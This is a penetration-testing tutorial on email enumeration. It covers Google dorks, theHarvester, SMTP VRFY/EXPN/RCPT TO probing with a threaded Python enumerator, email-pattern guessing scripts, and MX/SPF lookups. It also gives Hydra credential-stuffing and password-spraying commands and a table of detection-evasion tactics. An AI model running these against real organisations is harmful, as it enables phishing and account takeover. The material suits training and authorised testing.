Email Enumeration
Attack Chain Position
graph LR
A[Target Identification] --> B[Domain Enumeration]
B --> C[Email Enumeration]
C --> D[Username Discovery]
D --> E[Credential Attacks]
C --> F[SMTP Enumeration]
F --> D
C --> G[Email Pattern Analysis]
G --> D
D --> H[Social Engineering]
D --> I[Password Spraying]
style C fill:#f9d56e,stroke:#333,stroke-width:2px
Email enumeration is a critical reconnaissance technique that helps you:
- Discover valid email addresses — Identify potential targets for phishing and credential attacks
- Map organizational structure — Understand roles and departments through email patterns
- Find username patterns — Determine how the organization formats email addresses
- Identify attack vectors — Use discovered emails for credential stuffing and password spraying
- Support social engineering — Craft targeted attacks using discovered identities
Table of Contents
- Email Enumeration Techniques
- SMTP User Enumeration Deep Dive
- Email Pattern Discovery
- Email Format Guessing Strategies
- Correlating Emails with Usernames
- Using Emails for Credential Attacks
- Email Headers Analysis for Intelligence
- MX Record Analysis
- SPF/DKIM/DMARC Reconnaissance
- Email Enumeration in OSCP Context
1. Email Enumeration Techniques
Overview of Email Enumeration Methods
| Method |
Tool |
Effectiveness |
Detection Risk |
Notes |
| Google Dorking |
Browser/curl |
High |
None |
Best first step |
| theHarvester |
theHarvester |
High |
Low |
Multi-source |
| EmailPermutator |
EmailPermutator |
Medium |
None |
Pattern-based |
| SMTP VRFY |
nc/nmap |
Medium-High |
High |
Often disabled |
| SMTP EXPN |
nc/nmap |
Medium |
High |
Often disabled |
| SMTP RCPT TO |
nc/nmap |
Medium |
Medium |
Most reliable |
| LinkedIn |
Browser |
High |
None |
Manual effort |
| Hunter.io |
hunter.io |
High |
None |
Free tier limited |
| GitHub |
GitHub search |
Medium |
None |
Code-based |
Google Dorking for Emails
Google Dorking is one of the most effective and undetectable methods for email enumeration.
Basic Email Dorks
# Find emails associated with a domain
site:target.com intext:"@"
# Find emails in specific file types
site:target.com filetype:pdf intext:"@"
site:target.com filetype:doc intext:"@"
site:target.com filetype:docx intext:"@"
site:target.com filetype:xls intext:"@"
site:target.com filetype:xlsx intext:"@"
site:target.com filetype:ppt intext:"@"
site:target.com filetype:pptx intext:"@"
# Find emails in specific contexts
site:target.com intext:"contact us" intext:"@"
site:target.com intext:"email" intext:"@"
site:target.com intext:"support" intext:"@"
site:target.com intext:"sales" intext:"@"
# Find emails in job postings
site:target.com intext:"apply" intext:"@"
site:target.com intext:"career" intext:"@"
site:target.com intext:"hiring" intext:"@"
# Find emails in press releases
site:target.com intext:"press release" intext:"@"
site:target.com intext:"media contact" intext:"@"
# Find emails in PDFs and documents
site:target.com filetype:pdf "email"
site:target.com filetype:pdf "contact"
site:target.com ext:pdf "target.com" "@"
Advanced Email Dorks
# Find emails in specific directories
site:target.com/contact intext:"@"
site:target.com/team intext:"@"
site:target.com/about intext:"@"
site:target.com/staff intext:"@"
# Find emails in forums and blogs
site:target.com/forum intext:"@"
site:target.com/blog intext:"@"
site:target.com/community intext:"@"
# Find emails in code repositories
site:github.com "target.com" "@"
site:gitlab.com "target.com" "@"
site:bitbucket.org "target.com" "@"
# Find emails in public records
site:sec.gov "target.com" "@"
site:irs.gov "target.com" "@"
# Find emails in news articles
site:businesswire.com "target.com" "@"
site:prnewswire.com "target.com" "@"
# Find emails in conference materials
site:slideshare.net "target.com" "@"
site:speakerdeck.com "target.com" "@"
Automating Google Dorking
#!/usr/bin/env python3
"""
Automate Google Dorking for email enumeration.
"""
import re
import subprocess
import json
def google_dork_emails(domain, dorks=None):
"""Search for emails using Google Dorks."""
if dorks is None:
dorks = [
f'site:{domain} intext:"@"',
f'site:{domain} filetype:pdf intext:"@"',
f'site:{domain} filetype:doc intext:"@"',
f'site:{domain} filetype:xls intext:"@"',
f'site:{domain} intext:"contact" intext:"@"',
f'site:{domain} intext:"email" intext:"@"',
]
emails = set()
email_pattern = re.compile(r'[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}')
for dork in dorks:
print(f"[*] Searching: {dork}")
# Note: In production, use Google Custom Search API
# This is a conceptual example
try:
# Using duckduckgo_search as an alternative
from duckduckgo_search import DDGS
with DDGS() as ddgs:
results = list(ddgs.text(dork, max_results=20))
for result in results:
# Extract emails from title and snippet
text = f"{result.get('title', '')} {result.get('body', '')}"
found = email_pattern.findall(text)
emails.update(found)
except Exception as e:
print(f"[-] Error: {e}")
return list(emails)
# Example usage
if __name__ == "__main__":
emails = google_dork_emails("target.com")
for email in emails:
print(email)
theHarvester
theHarvester is a comprehensive OSINT tool that collects emails, subdomains, hosts, employee names, open ports, and banners from multiple public sources.
# Install theHarvester
pip3 install theHarvester
# Basic usage
theHarvester -d target.com -b all
# Specify sources
theHarvester -d target.com -b google,bing,baidu,duckduckgo,github,linkedin
# Limit results
theHarvester -d target.com -b all -l 500
# Output to file
theHarvester -d target.com -b all -f /tmp/harvester_results -c
# Output formats
theHarvester -d target.com -b all -f /tmp/harvester_results -c -e # CSV
theHarvester -d target.com -b all -f /tmp/harvester_results -c -j # JSON
theHarvester -d target.com -b all -f /tmp/harvester_results -c -s # SHODAN
# Specific source usage
theHarvester -d target.com -b google
theHarvester -d target.com -b bing
theHarvester -d target.com -b linkedin
theHarvester -d target.com -b github
theHarvester -d target.com -b duckduckgo
theHarvester -d target.com -b baidu
theHarvester -d target.com -b shodan
theHarvester -d target.com -b hackertarget
theHarvester -d target.com -b fullhunt
# With API keys for enhanced results
theHarvester -d target.com -b shodan -a SHODAN_API_KEY
theHarvester -d target.com -b fullhunt -a FULLHUNT_API_KEY
theHarvester Sources
| Source |
Data Type |
API Key Required |
| Google |
Emails, subdomains, IPs |
Optional (for higher limits) |
| Bing |
Emails, subdomains |
No |
| Baidu |
Emails, subdomains |
No |
| DuckDuckGo |
Emails, subdomains |
No |
| GitHub |
Emails, code references |
Optional |
| LinkedIn |
Employee names, emails |
No |
| Shodan |
IPs, ports, banners |
Yes |
| FullHunt |
IPs, subdomains |
Yes |
| HackerTarget |
Subdomains, IPs |
No |
| Telegram |
Messages, channels |
No |
| Twitter |
Tweets, mentions |
Optional |
| Vault |
Secrets, credentials |
Yes |
| C99 |
Emails, subdomains |
No |
| Netlas |
Emails, subdomains |
Yes |
theHarvester Output Example
[*] Target: target.com
[*] Extracting Emails, Hostnames, IPs, and Usernames from:
[*] Searching Bing
[+] Emails:
admin@target.com
info@target.com
support@target.com
john.smith@target.com
jane.doe@target.com
[+] Hostnames:
www.target.com
mail.target.com
vpn.target.com
intranet.target.com
[+] IPs:
203.0.113.10
203.0.113.11
203.0.113.12
[*] Searching Google
[+] Emails:
sales@target.com
hr@target.com
bob.johnson@target.com
[*] Searching GitHub
[+] Emails:
dev@target.com
git@target.com
[*] Summary
[+] Emails: 8
[+] Hostnames: 4
[+] IPs: 3
[+] Usernames: 5
EmailPermutator
EmailPermutator generates email address permutations based on a name and domain.
# Install EmailPermutator
git clone https://github.com/undeadsec/EmailPermutator.git
cd EmailPermutator
pip3 install -r requirements.txt
# Basic usage
python3 emailpermutator.py -f John -l Smith -d target.com
# Multiple names from file
python3 emailpermutator.py -i names.txt -d target.com
# Output to file
python3 emailpermutator.py -f John -l Smith -d target.com -o results.txt
# Verbose output
python3 emailpermutator.py -f John -l Smith -d target.com -v
# Check which emails exist (using various methods)
python3 emailpermutator.py -f John -l Smith -d target.com --check
EmailPermutator Patterns
Hunter.io
Hunter.io is a dedicated email discovery platform.
# Using Hunter.io API
# Get API key from hunter.io
# Search for emails by domain
curl -s "https://api.hunter.io/v2/domain-search?domain=target.com&api_key=YOUR_API_KEY" | python3 -m json.tool
# Search for email by name and domain
curl -s "https://api.hunter.io/v2/email-finder?first_name=John&last_name=Smith&domain=target.com&api_key=YOUR_API_KEY" | python3 -m json.tool
# Get domain pattern
curl -s "https://api.hunter.io/v2/domain-search?domain=target.com&api_key=YOUR_API_KEY" | python3 -c "
import sys, json
data = json.load(sys.stdin)
pattern = data.get('data', {}).get('pattern', 'N/A')
score = data.get('data', {}).get('score', 'N/A')
total = data.get('data', {}).get('time_stamp', 'N/A')
print(f'Pattern: {pattern}')
print(f'Score: {score}')
print(f'Total emails found: {data.get(\"data\", {}).get(\"emails\", [])}')
"
Hunter.io Response Fields
| Field |
Description |
pattern |
Email format pattern (e.g., {first}.{last}) |
type |
Pattern type (personal, generic, etc.) |
score |
Domain score (0-100) |
security |
Security level |
emails |
List of found emails |
time_stamp |
Last update time |
LinkedIn Email Discovery
# Manual process:
# 1. Search for employees on LinkedIn
# 2. Note their names and titles
# 3. Use email pattern to generate addresses
# 4. Verify using email validation tools
# Common LinkedIn search queries:
# - "Company Name" + "Engineer"
# - "Company Name" + "Developer"
# - "Company Name" + "Administrator"
# - "Company Name" + "Security"
GitHub Email Discovery
# Search for emails in GitHub commits
curl -s "https://api.github.com/search/code?q=email@target.com" | python3 -m json.tool
# Search for emails in repository files
curl -s "https://api.github.com/search/code?q=org:targetorg+email" | python3 -m json.tool
# Extract emails from Git history
git clone https://github.com/targetorg/repo.git
cd repo
git log --format='%ae %an' | sort -u
# Search for email patterns in code
grep -rE "[a-zA-Z0-9._%+-]+@target\.com" . --include="*.py" --include="*.js" --include="*.yml" --include="*.json"
2. SMTP User Enumeration Deep Dive
SMTP Protocol Basics
SMTP (Simple Mail Transfer Protocol) is used for sending emails. Several SMTP commands can be abused for user enumeration:
| Command |
Purpose |
Enumeration Use |
| VRFY |
Verify user existence |
Direct user enumeration |
| EXPN |
Expand mailing lists |
Discover list members |
| RCPT TO |
Specify recipient |
Indirect user enumeration |
| MAIL FROM |
Specify sender |
Required before RCPT TO |
Manual SMTP Enumeration
Using Netcat
# Connect to SMTP server
nc -nv target.com 25
# Or use specific port
nc -nv target.com 587
nc -nv target.com 465
# SMTP handshake
EHLO target.com
# VRFY command (verify user)
VRFY admin
VRFY john
VRFY john.smith
# EXPN command (expand mailing list)
EXPN staff
EXPN developers
EXPN all
# RCPT TO method
MAIL FROM: attacker@evil.com
RCPT TO: admin@target.com
RCPT TO: john@target.com
RCPT TO: nonexistent@target.com
# QUIT to close connection
QUIT
Interpreting SMTP Responses
| Response Code |
Meaning |
Enumeration Value |
| 250 |
OK / User exists |
Valid user found |
| 251 |
User not local, forwarding |
User exists, forwarded |
| 550 |
User not found / No such user |
Invalid user |
| 551 |
User not local, try MTA |
User may exist elsewhere |
| 552 |
Mailbox full |
Valid user (mailbox full) |
| 553 |
Invalid address |
Invalid format |
| 450 |
Mailbox unavailable |
May be valid (temporarily unavailable) |
| 451 |
Local error |
Server issue, retry |
| 452 |
Insufficient storage |
Server issue |
VRFY Command Examples
# Successful VRFY (user exists)
$ nc -nv target.com 25
EHLO target.com
250-target.com Hello
250-SIZE 35882577
VRFY admin
250 admin <admin@target.com>
# Failed VRFY (user does not exist)
VRFY nonexistent
550 5.1.1 <nonexistent>: Recipient address rejected: User unknown
# VRFY disabled
VRFY admin
252 Cannot VRFY user, but will accept message and attempt delivery
EXPN Command Examples
# Successful EXPN (list exists)
$ nc -nv target.com 25
EHLO target.com
250-target.com Hello
EXPN staff
250-Oakley, John <john.oakley@target.com>
250-Smith, Jane <jane.smith@target.com>
# Failed EXPN (list does not exist)
EXPN nonexistent
550 5.1.1 <nonexistent>: Group address expanded error
# EXPN disabled
EXPN staff
252 Cannot EXPN
RCPT TO Method
# The RCPT TO method is the most reliable enumeration technique
# because VRFY and EXPN are often disabled
$ nc -nv target.com 25
EHLO target.com
250-target.com Hello
# Try valid user
MAIL FROM: attacker@evil.com
250 OK
RCPT TO: admin@target.com
250 OK # User exists!
# Try invalid user
MAIL FROM: attacker@evil.com
250 OK
RCPT TO: nonexistent@target.com
550 5.1.1 <nonexistent>: Recipient address rejected: User unknown
# Reset and try another
MAIL FROM: attacker@evil.com
250 OK
RCPT TO: john.smith@target.com
250 OK # User exists!
QUIT
Nmap SMTP Scripts
smtp-enum-users Script
# Enumerate users using VRFY, EXPN, and RCPT TO
nmap -p 25 --script smtp-enum-users --script-args smtp-enum-users.methods={VRFY,EXPN,RCPT} target.com
# With username list
nmap -p 25 --script smtp-enum-users --script-args userdb=/tmp/usernames.txt target.com
# Specific method
nmap -p 25 --script smtp-enum-users --script-args smtp-enum-users.methods={VRFY} target.com
nmap -p 25 --script smtp-enum-users --script-args smtp-enum-users.methods={EXPN} target.com
nmap -p 25 --script smtp-enum-users --script-args smtp-enum-users.methods={RCPT} target.com
smtp-vrfy Script
# VRFY enumeration
nmap -p 25 --script smtp-vrfy --script-args userdb=/tmp/usernames.txt target.com
# With custom user list
nmap -p 25 --script smtp-vrfy --script-args smtp-vrfy.methods={VRFY} target.com
smtp-expn Script
# EXPN enumeration
nmap -p 25 --script smtp-expn --script-args smtp-expn.users={admin,root,postmaster} target.com
# With list
nmap -p 25 --script smtp-expn --script-args userdb=/tmp/usernames.txt target.com
smtp-commands Script
# Enumerate supported SMTP commands
nmap -p 25 --script smtp-commands target.com
# Output shows which commands are available:
# PORT STATE SERVICE REASON
# 25/tcp open smtp syn-ack
# | smtp-commands:
# | EHLO target.com
# | 250-target.com Hello
# | 250-SIZE 35882577
# | 250-STARTTLS
# | 250-AUTH LOGIN PLAIN
# | 250-AUTH=LOGIN PLAIN
# | 250-8BITMIME
# | 250 DSN
# |_ The SMTP server did not announce any VRFY or EXPN support.
Automated SMTP Enumeration Script
#!/usr/bin/env python3
"""
Automated SMTP user enumeration using RCPT TO method.
"""
import socket
import sys
import time
from concurrent.futures import ThreadPoolExecutor, as_completed
class SMTPEnumerator:
def __init__(self, host, port=25, timeout=10):
self.host = host
self.port = port
self.timeout = timeout
self.valid_users = []
self.invalid_users = []
def check_user(self, username):
"""Check if a user exists using RCPT TO method."""
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(self.timeout)
sock.connect((self.host, self.port))
# Receive banner
sock.recv(1024)
# EHLO
sock.send(f"EHLO {self.host}\r\n".encode())
sock.recv(1024)
# MAIL FROM
sock.send(b"MAIL FROM: <attacker@evil.com>\r\n")
sock.recv(1024)
# RCPT TO
sock.send(f"RCPT TO: <{username}@{self.host}>\r\n".encode())
response = sock.recv(1024).decode()
# QUIT
sock.send(b"QUIT\r\n")
sock.recv(1024)
sock.close()
# Analyze response
if "250" in response or "251" in response:
self.valid_users.append(username)
print(f"[+] Valid: {username}@{self.host}")
return True
elif "550" in response or "551" in response:
self.invalid_users.append(username)
return False
else:
print(f"[?] Unknown response for {username}: {response.strip()}")
return None
except socket.timeout:
print(f"[-] Timeout checking {username}")
return None
except Exception as e:
print(f"[-] Error checking {username}: {e}")
return None
def enumerate(self, usernames, max_workers=10):
"""Enumerate users from a list."""
print(f"[*] Starting SMTP enumeration on {self.host}:{self.port}")
print(f"[*] Checking {len(usernames)} usernames")
with ThreadPoolExecutor(max_workers=max_workers) as executor:
futures = {executor.submit(self.check_user, user): user for user in usernames}
for future in as_completed(futures):
time.sleep(0.1) # Rate limiting
print(f"\n[*] Enumeration complete")
print(f"[+] Valid users found: {len(self.valid_users)}")
for user in self.valid_users:
print(f" {user}@{self.host}")
print(f"[-] Invalid users: {len(self.invalid_users)}")
return self.valid_users
# Example usage
if __name__ == "__main__":
if len(sys.argv) < 3:
print(f"Usage: {sys.argv[0]} <host> <userlist>")
sys.exit(1)
host = sys.argv[1]
userlist = sys.argv[2]
with open(userlist, 'r') as f:
usernames = [line.strip() for line in f if line.strip()]
enumerator = SMTPEnumerator(host)
enumerator.enumerate(usernames)
SMTP Enumeration Detection and Evasion
| Detection Method |
Evasion Technique |
| Logging |
Use rate limiting and delays |
| Rate limiting |
Slow down requests |
| IP blocking |
Rotate IPs or use proxies |
| Honeypot accounts |
Use realistic username lists |
| Response randomization |
Analyze response patterns carefully |
3. Email Pattern Discovery
Common Email Patterns
Detecting Email Patterns
Method 1: Analyze Found Emails
#!/usr/bin/env python3
"""
Detect email patterns from a list of discovered emails.
"""
import re
from collections import Counter
def detect_pattern(emails):
"""Detect the most common email pattern."""
patterns = Counter()
email_pattern = re.compile(r'([a-zA-Z0-9._%+-]+)@([a-zA-Z0-9.-]+\.[a-zA-Z]{2,})')
for email in emails:
match = email_pattern.match(email)
if match:
local_part = match.group(1)
patterns[local_part] += 1
# Analyze local parts
local_parts = list(patterns.keys())
# Check for common patterns
pattern_scores = {
'first.last': 0,
'firstlast': 0,
'first_last': 0,
'flast': 0,
'first.l': 0,
'last.first': 0,
'lastfirst': 0,
'first': 0,
'last': 0,
}
for lp in local_parts:
if '.' in lp and '_' not in lp:
parts = lp.split('.')
if len(parts) == 2:
if len(parts[0]) > 1 and len(parts[1]) > 1:
pattern_scores['first.last'] += 1
elif len(parts[0]) == 1 and len(parts[1]) > 1:
pattern_scores['flast'] += 1
elif len(parts[0]) > 1 and len(parts[1]) == 1:
pattern_scores['first.l'] += 1
elif '_' in lp:
pattern_scores['first_last'] += 1
elif len(lp) > 10:
pattern_scores['firstlast'] += 1
# Return the most likely pattern
best_pattern = max(pattern_scores, key=pattern_scores.get)
return best_pattern, pattern_scores
# Example usage
if __name__ == "__main__":
emails = [
"john.smith@target.com",
"jane.doe@target.com",
"bob.johnson@target.com",
"alice.williams@target.com",
]
pattern, scores = detect_pattern(emails)
print(f"Most likely pattern: {pattern}")
print(f"Pattern scores: {dict(scores)}")
Method 2: Use Hunter.io
# Hunter.io automatically detects email patterns
curl -s "https://api.hunter.io/v2/domain-search?domain=target.com&api_key=YOUR_API_KEY" | python3 -c "
import sys, json
data = json.load(sys.stdin)
pattern = data.get('data', {}).get('pattern', 'N/A')
pattern_type = data.get('data', {}).get('type', 'N/A')
print(f'Pattern: {pattern}')
print(f'Type: {pattern_type}')
"
Method 3: Manual Analysis
Step 1: Collect at least 5-10 email addresses
Step 2: Extract the local parts (before @)
Step 3: Look for common patterns:
- Are there dots? (first.last)
- Are there underscores? (first_last)
- Is it all lowercase? (firstlast)
- Are there initials? (j.smith)
Step 4: Verify by testing generated emails
#!/usr/bin/env python3
"""
Generate email addresses based on detected patterns.
"""
import itertools
def generate_emails(first_name, last_name, domain, patterns=None):
"""Generate email addresses using common patterns."""
if patterns is None:
patterns = [
'{first}.{last}',
'{first}{last}',
'{first}_{last}',
'{first[0]}{last}',
'{first}.{last[0]}',
'{last}.{first}',
'{last}{first}',
'{first}',
'{last}',
'{first[0]}.{last}',
'{first[0]}.{last[0]}',
'{first}{last[0]}',
'{last}{first[0]}',
]
first = first_name.lower().strip()
last = last_name.lower().strip()
emails = []
for pattern in patterns:
try:
email = pattern.format(first=first, last=last) + f'@{domain}'
emails.append(email)
except (KeyError, IndexError):
continue
return list(set(emails))
# Example usage
if __name__ == "__main__":
emails = generate_emails("John", "Smith", "target.com")
for email in emails:
print(email)
Strategy 1: Pattern-Based Generation
#!/usr/bin/env python3
"""
Comprehensive email format guessing.
"""
def guess_email_formats(first, middle=None, last=None, domain="target.com"):
"""Generate all possible email format combinations."""
first = first.lower().strip()
last = last.lower().strip() if last else ""
middle = middle.lower().strip() if middle else ""
formats = []
# First + Last combinations
if last:
formats.extend([
f"{first}.{last}@{domain}",
f"{first}{last}@{domain}",
f"{first}_{last}@{domain}",
f"{first[0]}{last}@{domain}",
f"{first}.{last[0]}@{domain}",
f"{last}.{first}@{domain}",
f"{last}{first}@{domain}",
f"{last}_{first}@{domain}",
f"{last}{first[0]}@{domain}",
f"{first}{last[0]}@{domain}",
f"{first[0]}.{last}@{domain}",
f"{first[0]}_{last}@{domain}",
])
# First + Middle + Last combinations
if middle and last:
formats.extend([
f"{first}.{middle}.{last}@{domain}",
f"{first}{middle}{last}@{domain}",
f"{first}_{middle}_{last}@{domain}",
f"{first[0]}.{middle[0]}.{last}@{domain}",
f"{first}.{middle[0]}.{last}@{domain}",
f"{first[0]}.{middle}.{last}@{domain}",
])
# First only
formats.append(f"{first}@{domain}")
# Last only
if last:
formats.append(f"{last}@{domain}")
# First + Last with numbers
if last:
for num in ['01', '1', '2024', '99']:
formats.append(f"{first}{last}{num}@{domain}")
formats.append(f"{first}.{last}{num}@{domain}")
return list(set(formats))
# Example usage
if __name__ == "__main__":
emails = guess_email_formats("John", "Michael", "Smith", "target.com")
for email in emails:
print(email)
Strategy 2: Role-Based Emails
# Common role-based emails
role_emails = [
"admin@{domain}",
"administrator@{domain}",
"root@{domain}",
"info@{domain}",
"contact@{domain}",
"support@{domain}",
"help@{domain}",
"sales@{domain}",
"marketing@{domain}",
"hr@{domain}",
"finance@{domain}",
"billing@{domain}",
"accounts@{domain}",
"webmaster@{domain}",
"postmaster@{domain}",
"abuse@{domain}",
"security@{domain}",
"noc@{domain}",
"dev@{domain}",
"devops@{domain}",
"sysadmin@{domain}",
"it@{domain}",
"operations@{domain}",
"manager@{domain}",
"director@{domain}",
"ceo@{domain}",
"cto@{domain}",
"cfo@{domain}",
"coo@{domain}",
]
# Generate for a domain
domain = "target.com"
for template in role_emails:
print(template.format(domain=domain))
Strategy 3: Username-to-Email Mapping
#!/usr/bin/env python3
"""
Map discovered usernames to email addresses.
"""
def username_to_email(username, domain, patterns=None):
"""Convert a username to possible email addresses."""
if patterns is None:
patterns = [
'{username}@{domain}',
'{username.lower()}@{domain}',
]
emails = []
for pattern in patterns:
try:
email = pattern.format(username=username, domain=domain)
emails.append(email)
except Exception:
continue
return emails
# Example usage
if __name__ == "__main__":
usernames = ["jsmith", "john.smith", "john_smith", "j.smith"]
domain = "target.com"
for username in usernames:
emails = username_to_email(username, domain)
for email in emails:
print(email)
5. Correlating Emails with Usernames
Correlation Techniques
#!/usr/bin/env python3
"""
Extract usernames from email addresses.
"""
import re
def extract_username_from_email(email):
"""Extract the username part from an email address."""
match = re.match(r'([a-zA-Z0-9._%+-]+)@([a-zA-Z0-9.-]+\.[a-zA-Z]{2,})', email)
if match:
return match.group(1), match.group(2)
return None, None
def normalize_username(username):
"""Normalize a username for comparison."""
# Remove common separators
normalized = username.replace('.', '').replace('_', '').replace('-', '')
return normalized.lower()
# Example usage
if __name__ == "__main__":
emails = [
"john.smith@target.com",
"jane.doe@target.com",
"bob_johnson@target.com",
]
for email in emails:
username, domain = extract_username_from_email(email)
normalized = normalize_username(username)
print(f"Email: {email} -> Username: {username} -> Normalized: {normalized}")
#!/usr/bin/env python3
"""
Cross-reference emails with social media usernames.
"""
def correlate_email_with_social(email, social_usernames):
"""Check if an email username matches any social media username."""
username, domain = extract_username_from_email(email)
normalized_email = normalize_username(username)
matches = []
for platform, social_username in social_usernames.items():
normalized_social = normalize_username(social_username)
if normalized_email == normalized_social:
matches.append((platform, social_username))
# Also check partial matches
elif normalized_email in normalized_social or normalized_social in normalized_email:
matches.append((platform, social_username, "partial"))
return matches
# Example usage
if __name__ == "__main__":
email = "john.smith@target.com"
social_usernames = {
"github": "johnsmith",
"twitter": "jsmith",
"linkedin": "john-smith",
}
matches = correlate_email_with_social(email, social_usernames)
for match in matches:
print(f"Match found: {match}")
Building a Correlation Matrix
6. Using Emails for Credential Attacks
Credential Stuffing
Credential stuffing uses leaked credentials from other breaches to attempt access.
# Using Hydra for credential stuffing
hydra -L emails.txt -P passwords.txt target.com http-post-form "/login:username=^USER^&password=^PASS^:F=invalid"
# Using Medusa
medusa -U emails.txt -P passwords.txt -H target.com -M http -m DIR:/login
# Using custom script
python3 credential_stuffer.py -e emails.txt -p passwords.txt -u https://target.com/login
Password Spraying
Password spraying tries a few common passwords against many usernames.
# Using Hydra for password spraying
hydra -L emails.txt -p "Password123!" target.com http-post-form "/login:username=^USER^&password=^PASS^:F=invalid"
# Try multiple common passwords
for password in "Password123!" "Welcome1!" "ChangeMe!" "Admin123!" "P@ssw0rd!"; do
echo "[*] Trying password: $password"
hydra -L emails.txt -p "$password" target.com http-post-form "/login:username=^USER^&password=^PASS^:F=invalid" -o results_${password//[^a-zA-Z0-9]/_}.txt
done
Email-Based Password Reset Attacks
# Check if email exists via password reset
# Many applications reveal valid emails during password reset flow
# Manual process:
# 1. Go to login page
# 2. Click "Forgot Password"
# 3. Enter email address
# 4. Check response:
# - "If the email exists, we'll send a reset link" (safe)
# - "Reset link sent to john.smith@target.com" (vulnerable - reveals valid email)
# - "No account found with that email" (vulnerable - reveals invalid email)
# Automated check
python3 password_reset_enum.py -e emails.txt -u https://target.com/forgot-password
Email Validation Services
# Using mailgun API for email validation
curl -s "https://api.mailgun.net/v3/address/validate?address=john.smith@target.com" \
-u "api:YOUR_API_KEY" | python3 -m json.tool
# Using zerobounce API
curl -s "https://api.zerobounce.net/v2 validate?api_key=YOUR_API_KEY&email=john.smith@target.com" | python3 -m json.tool
# Using hunter.io email verifier
curl -s "https://api.hunter.io/v2/email-verifier?email=john.smith@target.com&api_key=YOUR_API_KEY" | python3 -m json.tool
Understanding Email Headers
Email headers contain valuable information about the email’s journey and the sender’s infrastructure.
| Header |
Description |
Intelligence Value |
| From |
Sender address |
Identity verification |
| Reply-To |
Reply address |
May differ from From |
| Return-Path |
Bounce address |
Mail server info |
| Received |
Routing path |
Infrastructure mapping |
| Message-ID |
Unique identifier |
Mail server format |
| X-Mailer |
Email client |
Software identification |
| X-Originating-IP |
Sender IP |
Physical location |
| MIME-Version |
MIME version |
Format info |
| Content-Type |
Content format |
Attachment info |
| DKIM-Signature |
DKIM signature |
Domain authentication |
| SPF |
SPF record |
Sending authorization |
| Received-SPF |
SPF result |
Authentication status |
# Using Python to parse email headers
python3 -c "
import email
import sys
with open('email.eml', 'r') as f:
msg = email.message_from_file(f)
# Print all headers
for header, value in msg.items():
print(f'{header}: {value}')
# Print specific headers
print('\n--- Specific Headers ---')
for header in ['From', 'To', 'Subject', 'Date', 'Received', 'X-Mailer', 'X-Originating-IP']:
value = msg.get(header, 'N/A')
print(f'{header}: {value}')
"
Received: from mail.target.com (mail.target.com [192.0.2.10])
by mx.google.com with ESMTPS id abc123
for <recipient@gmail.com>;
Mon, 1 Jan 2024 12:00:00 +0000 (UTC)
Received: from workstation.target.com (10.0.1.50)
by mail.target.com (Postfix) with ESMTPA id ABC123
for <recipient@gmail.com>;
Mon, 1 Jan 2024 12:00:00 +0000 (UTC)
| Information |
Example |
Use |
| Internal IP |
10.0.1.50 |
Network mapping |
| Mail server |
mail.target.com |
Service identification |
| Mail software |
Postfix |
Vulnerability research |
| Timestamp |
Mon, 1 Jan 2024 |
Timeline analysis |
| Authentication |
ESMTPA |
Auth method identification |
X-Mailer Analysis
| X-Mailer Value |
Software |
Potential Vulnerabilities |
| Microsoft Outlook |
Outlook |
Known Outlook vulnerabilities |
| Mozilla Thunderbird |
Thunderbird |
Plugin vulnerabilities |
| Apple Mail |
Mail.app |
macOS-specific issues |
| PHPMailer |
PHPMailer |
Server-side issues |
| SendGrid |
SendGrid |
API key exposure |
| Mailgun |
Mailgun |
Configuration issues |
8. MX Record Analysis
What are MX Records?
MX (Mail Exchange) records specify the mail servers responsible for receiving email on behalf of a domain.
MX Record Enumeration
# Using dig
dig MX target.com
# Using nslookup
nslookup -type=MX target.com
# Using host
host -t MX target.com
# Using drill
drill MX target.com
# Detailed MX record information
dig MX target.com +noall +answer
# MX records with TTL
dig MX target.com +noall +answer +ttl
Interpreting MX Records
$ dig MX target.com +noall +answer
target.com. 3600 IN MX 10 mail.target.com.
target.com. 3600 IN MX 20 mail2.target.com.
target.com. 3600 IN MX 30 aspmx.l.google.com.
| Priority |
Mail Server |
Notes |
| 10 |
mail.target.com |
Primary mail server |
| 20 |
mail2.target.com |
Secondary mail server |
| 30 |
aspmx.l.google.com |
Google Workspace backup |
MX Record Intelligence
# Resolve MX server IPs
for mx in $(dig MX target.com +noall +answer | awk '{print $5}' | tr -d '.'); do
echo "=== $mx ==="
dig A $mx +noall +answer
done
# Check open relay
nmap -p 25 --script smtp-open-relay mail.target.com
# Check for common vulnerabilities
nmap -p 25 --script smtp-vuln-* mail.target.com
# Banner grabbing
nc -nv mail.target.com 25
MX Record Analysis Script
#!/usr/bin/env python3
"""
Analyze MX records for intelligence gathering.
"""
import subprocess
import dns.resolver
def get_mx_records(domain):
"""Get MX records for a domain."""
try:
answers = dns.resolver.resolve(domain, 'MX')
mx_records = []
for rdata in answers:
mx_records.append({
'priority': rdata.preference,
'exchange': str(rdata.exchange).rstrip('.')
})
return sorted(mx_records, key=lambda x: x['priority'])
except dns.resolver.NoAnswer:
return []
except dns.resolver.NXDOMAIN:
return []
except Exception as e:
print(f"Error: {e}")
return []
def resolve_mx_ips(mx_records):
"""Resolve MX server IPs."""
results = []
for mx in mx_records:
try:
answers = dns.resolver.resolve(mx['exchange'], 'A')
ips = [str(rdata) for rdata in answers]
results.append({
'priority': mx['priority'],
'exchange': mx['exchange'],
'ips': ips
})
except Exception:
results.append({
'priority': mx['priority'],
'exchange': mx['exchange'],
'ips': []
})
return results
# Example usage
if __name__ == "__main__":
domain = "target.com"
mx_records = get_mx_records(domain)
results = resolve_mx_ips(mx_records)
for result in results:
print(f"Priority: {result['priority']}")
print(f"Exchange: {result['exchange']}")
print(f"IPs: {', '.join(result['ips'])}")
print("---")
9. SPF/DKIM/DMARC Reconnaissance
SPF (Sender Policy Framework)
SPF records specify which mail servers are authorized to send email for a domain.
# Check SPF record
dig TXT target.com +noall +answer | grep "v=spf1"
# Or specifically
dig TXT target.com +noall +answer
# Interpret SPF record
# v=spf1: SPF version
# ip4: Allowed IPv4 addresses
# ip6: Allowed IPv6 addresses
# include: Included domains
# a: Allow A record
# mx: Allow MX records
# all: Default policy (+allow, -deny, ~softfail, ?neutral)
SPF Record Examples
# Strict SPF (recommended)
v=spf1 ip4:192.0.2.0/24 include:_spf.google.com -all
# Relaxed SPF
v=spf1 ip4:192.0.2.0/24 include:_spf.google.com ~all
# Permissive SPF (weak)
v=spf1 +all
# Common includes
include:_spf.google.com # Google Workspace
include:spf.protection.outlook.com # Microsoft 365
include:sendgrid.net # SendGrid
include:mailgun.org # Mailgun
